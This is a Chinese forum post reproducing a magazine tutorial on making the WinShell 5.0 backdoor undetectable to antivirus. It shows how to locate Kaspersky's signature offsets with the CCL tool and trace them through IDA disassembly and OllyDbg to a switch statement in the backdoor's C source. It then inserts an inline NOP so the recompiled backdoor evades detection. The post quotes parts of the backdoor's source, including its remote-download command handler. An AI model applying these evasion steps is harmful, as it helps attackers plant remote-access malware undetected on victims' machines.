- 帖子
- 3852
- 积分
- 13044
- 威望
- 16780
- 金钱
- 36761
- 在线时间
- 1139 小时
|
修改特征码打造免杀后门之WinShell篇 文/图 Tankaiha[NE365][FCG] 各位读者,新年好,又和大家见面了。上一期给大家介绍了使用特征码******和反汇编程序打造免杀的后门,大家感觉如何?这次给大家介绍另外一种修改方法。对于大多数没有源代码的程序来说,只能使用反汇编工具进行逆向工程,可如果你搞到了它的源代码,道路会宽广得多:在源代码级别修改再编译出的黑器,不仅没有特征码,而且运行也会非常稳定的!
源代码级别的特征码修改有以下几个主要步骤:程序的特征码定位、特征码在源代码中的定位、源代码的修改。由于编程语言的多样性,特征码在源代码中的表现也不一样:汇编语言属于所见即所得的类型,特征码什么样儿,源代码中的指令就是什么样;而对于高级语言(C或Delphi等)生成的文件,想找到特征码对应的语句还得花点功夫。这次我们就以C语言编写的小型后门WinShell5.0为例讲讲修改方法,抛砖引玉。
特征码的定位
这一步必须在样本的基础上进行,所以先将WinShell的源代码在VC6中编译成可执行文件。先用“司机”来检测一下,显示发现Backdoor.Win32.WinShell.50,如图1所示。
图1
由于2005年第1期黑防已经说细地讲过了使用CCL进行特征码定位的过程,所以这里不再详细叙述,简单讲一下过程:打开CCL,设为手动定位,生成30个文件,然后打开WinShell.exe,发现文件有3个段,我们选择.text即代码段,点击生成后用卡巴斯基查杀目标文件夹,剩下没有被删除的3个文件,即特征码范围如下:
-------------定位结果------------
序号 起始偏移 大小 结束偏移
0001
000017D0
000002AA
00001A7A
0002
00001FA0
000002AA
0000224A
0003
00002770
000002AA
00002A1A
手动检测只是定位大致范围,下面用自动功能来精确定位。重新设置CCL为自动检测,等待时间设置为7秒(我的机器比较慢)。范围我们就选择序号0001,起始偏移17D0,大小2AA个字节的区段。自动定位结果如下:
-------------定位结果------------
序号 起始偏移 大小 结束偏移
0001
0000180F
0000000A
00001819
只有一个地址,而且大小才0A个字节,天助我也。下面就是寻找它在源代码中的位置了(CCL在我的主页上提供最新版,修正了一些BUG,欢迎指点)。
特征码在源代码中的定位
这里还是先请出反汇编界的老大IDA,在IDA中打开WinShell.exe,来看看180F处到底是什么:
.text:00401809
movsx
eax, [esp+270h+var_204]
.text:0040180E
add
eax, 0FFFFFFC1h
.text:00401811
cmp
eax, 39h
.text:00401814
ja
loc_401976
.text:0040181A
xor
ecx, ecx
.text:0040181C
mov
cl, ds:byte_401A0C[eax]
.text:00401822
jmp
ds:off_4019E4[ecx*4]
哇!已经面目全非了,这让人怎么找对应的源代码啊?如果你熟悉VC编译程序的特点,很快会发现这里是一个Switch/case结构。可我们是菜鸟啊,怎么可能看得出来?这里给大家说个小技巧:尽量在上下文中寻找明显的提示。就好比我们经常寻找某个地点时,都是先找出周围的标志性建筑一样。
我们在IDA中从.text:00401809这一句向上看,发现隔了没多少行有这几条指令:
.text:004017B8
push
offset aHttp
; char *
.text:004017BD
push
ecx
; char *
.text:004017BE
call
_strstr
这是调用Strstr函数,将鼠标移到“aHttp”上,会弹出提示窗口显示:
char aHttp[]
aHttp
db
‘http://’,0
;
DATA XREF:StartAddress + 1C8 ↑o
这行提示信息的告诉了我们Strstr的第二个参数aHttp指向了字符串“http://”。这行调用算是挺特别的,而且离特征码不远,就用它作为标志吧。打开WinShell的源代码,搜索“http://”,果然找到了调用它的语句:
if(strstr(cmd,"http://")) {
send(wsh,msg_ws_down,strlen(msg_ws_down),0);
if(DownloadFile(cmd,wsh))
send(wsh,msg_ws_err,strlen(msg_ws_err),0);
else
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);
}
该句后面的代码经过三次调用Send,紧接着就是一个Switch/case结构:
switch(cmd[0]) {
// help
case '?': {
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0);
break;
}
初步断定这就是我们的目标。如果你想更确定的话,可以在源代码中Switch前插入几条特殊的汇编指令,编译后再定位,看看那几句汇编指令是不是出现在了00401809的指令之前。如果是,说明我们判断是正确的,特征码就是这条Switch语句。呵呵,还觉得麻烦?好吧,还有个简便的方法:用Ollydbg打开WinShell.exe,会直接分析出这里是选择/分支结构。如图2所示。
图2
括号里的(cases 3F .. 78)表示了该选择/分支结构的具体数据。第一个3F是“?”的ASC码,这不正对应源代码中的第一句“case ‘?’ ”吗!
源程序的修改
位置已经确定,剩下的就是修改源代码了。可我们是菜鸟啊,哪里会编程呢?更不用说修改那么复杂的后门了。其实不用担心,我们需要做的只是将原程序的特征码改变,而并不需要多么高升的编程功底,这种改变有时只需要一个字节就够了。看看我是怎么做的。在源代码中的Switch前加上一句最最简单的汇编指令NOP。源代码变成:
_asm nop;
//这里是我们添加的
switch(cmd[0]) {
// help
case '?': {
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0);
break;
}
再用VC6编译源代码,用卡巴斯基检查WinShell.exe。呵呵,奇迹发生了,司机大叔不再报警了!一个免杀的WinShell只用了几分钟就在我们的手中诞生!
当然,你也可以将NOP插在别的地方,比如Send和Break之间,也可以不选择NOP而替换为别的汇编指令,原则就是一个:不能改变原程序的关键寄存器值和执行顺序。
|
|